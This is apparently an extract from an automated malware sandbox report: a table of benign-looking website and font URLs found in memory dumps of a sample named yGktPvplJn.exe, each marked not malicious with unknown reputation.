00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-regular-400.woff	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.elpro.si/wp-content/uploads/2024/02/INDUSTRY_O360-3008-2-of-2-2-300x300.jpg	yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/plugins/taxonomy-images/css/style.css?ver=0.9.6	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://lolipop.jp/	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-content/plugins/yith-woocommerce-wishlist/assets/js/jquery.selectBox.min.j	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2)	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.naoi-a.com/	yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2397267279.0000000003500000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2396072731.0000000003460000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.aiag.org/about	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=6.	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/plugins/webtoffee-gdpr-cookie-consent/public/js/cookie-law-info-publi	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://aevga.com/xmlrpc.php?rsd	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.ozs.si/o-zbornici	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
